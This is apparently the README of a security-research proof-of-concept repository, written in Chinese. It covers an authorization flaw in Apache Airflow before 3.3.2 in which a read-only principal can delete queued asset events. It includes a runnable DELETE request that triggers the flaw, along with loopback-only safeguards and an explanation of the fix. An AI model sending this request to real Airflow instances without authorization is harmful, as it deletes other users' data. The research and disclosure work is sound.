针对 Apache Airflow 3.3.2 之前版本中 queued-events 授权缺陷的授权安全研究 PoC。
仅针对你拥有或明确获授权测试的 Airflow 实例运行。默认运行器会拒绝非回环目标。本仓库不包含任何扫描、目标枚举、持久化、凭据窃取或破坏性载荷逻辑。
README.md
poc.py
poc.py 是一个通用的、目标感知的 HTTP 请求运行器。它从命令行接收目标 URL、方法、路径、请求头、请求体、认证来源和预期结果,而不是硬编码主机。
针对本地 Airflow 实验环境的健康检查:
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/monitor/health \
--method GET \
--expect-status 200 \
--expect-body healthy
针对已准备好的本地易受攻击 Airflow 实例的 CVE 触发:
export AIRFLOW_POC_TOKEN='lab-only-restricted-token'
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/dags/cve_2026_75157_poc_dag/assets/queuedEvents \
--method DELETE \
--bearer-env AIRFLOW_POC_TOKEN \
--expect-status 204
该令牌必须属于一个具有 DAG 读取权限和 Assets 删除权限的一次性主体。预期的易受攻击行为是:受限主体可以删除 queued-event。Airflow 3.3.2 或更高版本应拒绝同一请求,除非该主体还拥有 DAG 编辑权限。
--target URL 必填的绝对 HTTP(S) 目标
--path PATH 可选路径,拼接到 --target
--method METHOD GET、POST、PUT、PATCH、DELETE、HEAD
--header 'Name: Value' 可重复的请求头
--bearer-env ENV 从 ENV 读取 bearer 令牌且不打印
--json JSON JSON 请求体
--body-file FILE 原始请求体
--expect-status STATUS 可重复的预期状态断言
--expect-body TEXT 可重复的响应体断言
--timeout SECONDS
--no-follow-redirect
--allow-non-loopback 显式选择加入,用于获授权的非实验环境目标
运行器在断言通过时返回退出码 0,在范围/传输/参数错误时返回 1,在 HTTP 断言失败时返回 2。Authorization 和 cookie 值在输出中会被脱敏。
在 Airflow 3.3.2 之前,queued-events DELETE 路由以读取权限而非编辑权限检查 DAG 轴。修复将 DAG 授权要求改为写入级权限。本 PoC 发送真实 HTTP 请求;它不会创建实验用户或数据库夹具。